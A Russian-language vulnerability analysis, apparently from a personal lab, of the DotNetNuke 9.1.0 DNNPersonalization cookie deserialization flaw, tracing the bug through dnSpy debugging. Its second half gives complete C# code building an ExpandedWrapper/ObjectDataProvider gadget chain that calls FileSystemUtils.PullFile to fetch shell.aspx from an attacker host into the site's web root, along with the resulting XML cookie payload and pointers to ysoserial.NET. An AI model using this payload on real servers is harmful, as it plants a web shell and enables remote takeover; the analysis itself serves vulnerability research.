
DotNetNuke (часто сокращённо DNN) — это платформа CMS (Content Management System) и каркас веб-приложений (web application framework) на базе технологии ASP.NET от Microsoft.
Затронутый продукт: DotNetNuke (DNN Platform) — популярная .NET CMS/портал.
Дата публикации: июль 2017 г.
Степень опасности: Critical (CVSS ~9.8).
Тип уязвимости: XML External Entity (XXE) / небезопасная десериализация (Insecure Deserialization) → удалённое выполнение кода (Remote Code Execution, RCE).
Влияние: версии до 9.1.1 позволяют удалённо выполнять код через cookie
Для настройки и отладки программы я использую Windows 10. Устанавливаемая версия — 9.1.0, с порядком установки можно ознакомиться здесь. Результат по завершении:


Согласно отчётам, которые я читал, эта уязвимость находится в месте обработки cookie в DotNetNuke
DNN использует небезопасную десериализацию (unsafe deserialization) для cookie DNNPersonalization

.dll или .exe, написанных на .NET. Установить можно здесь. Для отладки нам нужно скачать две версии.
DotNetNuke.dll в 32-битной версии и выберите Edit Assembly Attributes (C#)
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

После этого сохраните изменения.
Attach to Process
w3wp.exe
Причина выбора w3wp.exe:
w3wp.exe = IIS Worker Process.
Это рабочий процесс Application Pool (пула приложений) в IIS.
Когда HTTP-запрос поступает на сайт, IIS создаёт или повторно использует w3wp.exe для обработки этого запроса (выполнение ASP.NET-кода, обработка модулей, middleware, подключений к базе данных...).
Каждый Application Pool может иметь один или несколько процессов w3wp.exe в зависимости от конфигурации (web garden, recycling).
Далее выберите Debug -> Window -> Modules

После этого появятся модули (Modules). Щёлкните правой кнопкой мыши по любому из них и выберите Open All Modules

И в итоге появятся все сборки (Assembly), связанные с DNN

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)
Эта функция используется для загрузки данных персонализации (профиля) пользователя на портале DNN.
Если пользователь авторизован → профиль берётся из базы данных + кэша.
Если пользователь анонимный (не авторизован) → профиль берётся из cookie DNNPersonalization.
Здесь стоит сосредоточиться на DNNPersonalization
Если userId недействителен (анонимный пользователь).
Проверяется, есть ли в запросе cookie DNNPersonalization.
Если есть → из этого cookie извлекается XML-значение.
Отправим запрос 404 на сайт и используем произвольный DNNPersonalization; поставим в dnSpy точку останова (Breakpoint) в DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) — тогда можно будет отладить.


PortalSettings
Обратите внимание: здесь с помощью условия if проверяется, аутентифицирован ли уже текущий запрос (IsAuthenticated)
И в то время как отправленный нами запрос — 404 -> unauthenticated
Далее в стеке вызовов сосредоточимся на Handle404OrException

context.User текущего запроса null; если да, то context.User присваивается пользователь текущего потока (thread user)

Мы видим, что в Handle404OrException переменная IsAuthenticated теперь имеет значение true, а пользователь — это пользователь IIS-сервера, поэтому запрос выполняется как аутентифицированный пользователь.
Причина проблемы кроется в этом фрагменте кода
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
Если context.User ещё не задан → присваивается Thread.CurrentPrincipal (то есть текущая identity потока).
Это даёт запросу информацию о пользователе/ролях при дальнейшей обработке.
=> Когда мы передаём в cookie DNNPersonalization любое содержимое, оно выполняется как обычный пользователь.
Всё ещё в DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)
Видно, что переменная text получает значение из cookie, после чего оно передаётся как входные данные в Globals.DeserializeHashTableXml()

Globals.DeserializeHashTableXml()
Функция DeserializeHashTableXml выполняет:
Принимает строку XML (Source).
Разбирает эту XML-строку и преобразует её в объект Hashtable.
В процессе разбора вызывает функцию XmlUtils.DeSerializeHashtable с параметром "profile" для указания корневого XML-узла (root node).
Зайдём внутрь XmlUtils.DeSerializeHashtable и посмотрим, как она обрабатывает данные

Функция DeSerializeHashtable принимает XML-строку и преобразует её в Hashtable. Для каждого узла <item> функция:
Берёт key в качестве ключа.
Берёт type, затем вызывает Type.GetType(type) для определения типа данных.
Использует XmlSerializer.Deserialize, чтобы превратить XML-содержимое в реальный объект.
Добавляет результат в Hashtable.
👉 Проблема: и type, и XML-содержимое полностью контролируются пользователем (из cookie DNNPersonalization)
Основываясь на XmlUtils#DeSerializeHashtable как на месте уязвимости, создадим программу, которая аналогичным образом сериализует и десериализует объект:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

Deserialize.FileSystemUtils PullFile.
Пояснение:
PullFile(string URL, string FilePath) — статический метод в FileSystemUtils, используемый для загрузки содержимого из URL в путь FilePath в системе.
Внутри используется WebClient.DownloadFile(URL, FilePath) — действие загрузки и записи файла.
catch только логирует ошибку и возвращает сообщение; исключение не пробрасывается дальше.
Но проблема в том, что XmlSerializer не может сериализовать методы класса, а только публичные поля и свойства. Среди публичных полей и свойств класса FileSystemUtils также нет ни одного, который мог бы вызвать метод PullFile.
Перейдём к классу ObjectDataProvider
ObjectDataProvider — это класс в WPF (пространство имён System.Windows.Data, модуль PresentationFramework.dll).
Способен вызывать методы во время выполнения (runtime) — не только хранит данные, но и может выполнять действия (побочные эффекты), вызывая любой метод на обёрнутом объекте.
Позволяет передавать параметры — атакующий может управлять параметрами, передаваемыми в метод (например, URL и путь к файлу для метода PullFile).
Сам ObjectDataProvider не «выполняет код» как интерпретатор, но он позволяет вызвать любой публичный метод на обёрнутом объекте. Поэтому, если существует публичный метод с опасным побочным эффектом (например, загрузка файла, запуск процесса, запись файла), цепочку (chain) можно реализовать.

Здесь вызывается Refresh() из DataSourceProvider

Далее будет BeginQuery(); обратите внимание, что ObjectDataProvider наследуется от DataSourceProvider, и мы переходим к BeginQuery() у ObjectDataProvider

Продолжаем с QueryWorker

Он вызывает InvokeMethodOnInstance

InvokeMethodOnInstance — это метод, который фактически выполняет вызов (invoke): он использует рефлексию для вызова указанного метода (MethodName) на объекте, который «оборачивает» ObjectDataProvider (или на самом типе, если метод статический), передаёт список MethodParameters и возвращает результат выполнения метода.
Для написания скрипта используем IDE JetBrains Rider; необходимо добавить ссылки на модули DotNetNuke.dll и PresentationFramework.dll.

Получаем следующий исполняемый Payload:
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (nếu bạn đã add DLL)
using System.Data.Services.Internal; // ExpandedWrapper (nếu có)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
Получаем XML-файл:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Вставляем payload



Приступаем к эксплуатации

Кроме того, для создания payload можно использовать инструмент ysoserial.NET


Кроме того, можно дополнительно эксплуатировать чтение файла через WriteFile класса FileSystemUtils

